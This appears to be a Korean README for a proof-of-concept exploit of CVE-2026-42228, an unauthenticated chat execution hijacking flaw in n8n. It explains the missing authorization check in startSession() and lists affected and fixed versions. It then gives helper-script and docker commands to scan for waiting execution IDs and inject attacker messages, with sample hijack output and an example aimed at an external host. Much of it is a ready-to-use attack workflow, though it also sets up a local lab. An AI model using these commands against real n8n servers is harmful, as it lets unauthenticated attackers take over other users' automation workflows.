
CVE-2026-42228에 대한 개념 증명 익스플로잇으로, n8n의 인증되지 않은 채팅 실행 하이재킹 취약점이며, 자동화된 스캐닝 및 공격 스크립트를 포함합니다.
CVE: CVE-2026-42228
심각도: 높음
영향 버전: n8n < 1.123.32
수정 버전: n8n 1.123.32 / 2.17.4 / 2.18.1
chat-service.ts :: startSession()은 WebSocket 쿼리 문자열에서 executionId를
수락하고 해당 실행이 데이터베이스에 존재하는지만 확인합니다. 호출자가 해당
실행에 접근할 권한이 있는지는 절대 검증하지 않습니다.
waiting 상태의 실행에 대한 유효한 숫자 실행 ID를 알고 있거나 (열거할 수 있는) 인증되지 않은 공격자는 다음을 수행할 수 있습니다:
/chat WebSocket에 연결합니다.전제 조건:
waiting 상태에 있어야 합니다.chmod +x exploit.sh
./exploit.sh setup
이 명령은 n8nio/n8n:1.123.22(영향을 받는 마지막 릴리스)를 가져오고, 공격자
이미지를 빌드하며, 취약한 대상 서버를 http://localhost:5678에서 시작합니다.
http://localhost:5678을 열고 설정 마법사를 완료합니다(아무 자격 증명이나 사용).채팅 트리거 노드에 표시된 공개 채팅 URL을 열고 메시지를 보냅니다. 실행은 waiting 상태가 되어 다음 채팅 응답을 기다리며 일시 중지됩니다.
./exploit.sh scan
# 또는 범위 지정:
./exploit.sh scan 1 500
취약한 실행이 발견되었을 때의 예상 출력:
[+] WAITING execution found! exec_id=7
Server said: 'n8n|continue'
Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
[!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'
./exploit.sh attack 7
# 또는 사용자 지정 페이로드 사용:
./exploit.sh attack 7 "custom injected message"
n8n 편집기로 돌아가면 워크플로가 합법적인 사용자의 입력 대신 공격자가 주입한 메시지로 재개됩니다.
# 공격자 이미지 빌드
docker build -t n8n-chat-hijack-poc .
# 스캔 (공유 실습 네트워크에 연결)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--start-id 1 --end-id 200
# 특정 실행 공격
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--exec-id 7 --inject "PWNED"
# 외부 대상 공격 (네트워크 플래그 불필요)
docker run --rm n8n-chat-hijack-poc \
--target https://n8n.example.com \
--exec-id 42 --inject "PWNED"
./exploit.sh clean
컨테이너를 중지하고 볼륨(SQLite 데이터베이스 포함)을 제거합니다.
| 파일 | 설명 |
|---|---|
poc_GHSA-f77h-j2v7-g6mw.py | 독립 실행형 Python PoC |
Dockerfile | 공격자 컨테이너 이미지 |
docker-compose.yml | 전체 실습 환경: 취약한 n8n + 공격자 |
exploit.sh | 일반적인 작업을 위한 헬퍼 스크립트 |